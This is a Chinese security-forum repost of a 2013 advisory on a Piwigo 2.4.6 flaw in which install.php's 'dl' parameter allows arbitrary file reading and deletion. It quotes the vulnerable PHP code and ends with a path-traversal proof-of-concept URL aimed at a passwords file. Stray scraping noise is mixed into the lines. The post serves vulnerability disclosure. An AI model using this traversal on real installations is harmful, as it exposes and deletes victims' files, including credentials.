找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2400|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。. ^0 i+ e5 G5 G$ F8 Z8 s

  ^; P+ {  \; T5 ]) @) DPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。* a3 r$ E9 t6 ~0 K+ z0 {* u
====================================================================
* D1 D3 i  O7 `( M8 N. F- Q/install.php:. t0 o% L( d% C7 G6 v- ?- _
-------------
* i& d) ~1 N" Y( x113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
7 C! w* _9 r; f4 l* x114: {: h% ~& T! u# v( [
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
8 C8 E, a6 n# F7 {116:   header('Cache-Control: no-cache, must-revalidate');
. Q. q; H) y) L  ?117:   header('Pragma: no-cache');- s( o9 T" ?  k; j9 d
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
) e% c9 z6 N- X( k' u119:   header('Content-Transfer-Encoding: binary');4 |: j' o% \3 i: N& D
120:   header('Content-Length: '.filesize($filename));1 t: W5 A0 Z- Y. d
121:   echo file_get_contents($filename);+ l4 ~8 x& \6 L3 z& O' ~+ ~$ A
122:   unlink($filename);6 S( j$ o, w( d7 W) R
123:   exit();  K( o' T# J9 E+ v8 ], s3 m6 t
124: }3 B: }9 T1 Y: R  ~/ T
====================================================================4 K) m; a- @- {
1 b& X3 h) W: \6 s
Tested on: Microsoft Windows 7 Ultimate SP1 (EN); F! _1 ^: K5 `3 O/ g( U6 P
           Apache 2.4.2 (Win32): m6 l) S5 g3 R
           PHP 5.4.4
8 q+ l4 x; h7 ~           MySQL 5.5.25a. E+ q4 {. l) L) `4 X  g( [4 |

0 U6 Y3 H. E; A# _0 `5 k1 S' @9 h: hVulnerability discovered by Gjoko 'LiquidWorm' Krstic
: X7 U! B, o8 t7 A                            @zeroscience/ g2 x+ g! {" u  }0 |$ Z- t

/ d& k& N6 Q7 _; r( L  Z( P0 N* e8 {Advisory ID: ZSL-2013-51273 A* x" T5 U1 E7 ]
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php/ \- J  n+ l3 X" H& X0 |( t( U
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
# {5 h# J9 W" e# T: l6 l. ? 6 K4 y( o8 n) `+ f( z! S! S! h
15.02.2013! F% v: G% Y5 Z+ }0 M/ U, l; w

5 s  m  F# P" ^0 Z7 H4 t--
$ m) V* R( V  T7 k- nhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt' ^* X9 w' g8 S0 C

3 d/ z6 g0 ^( i, e( I$ E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表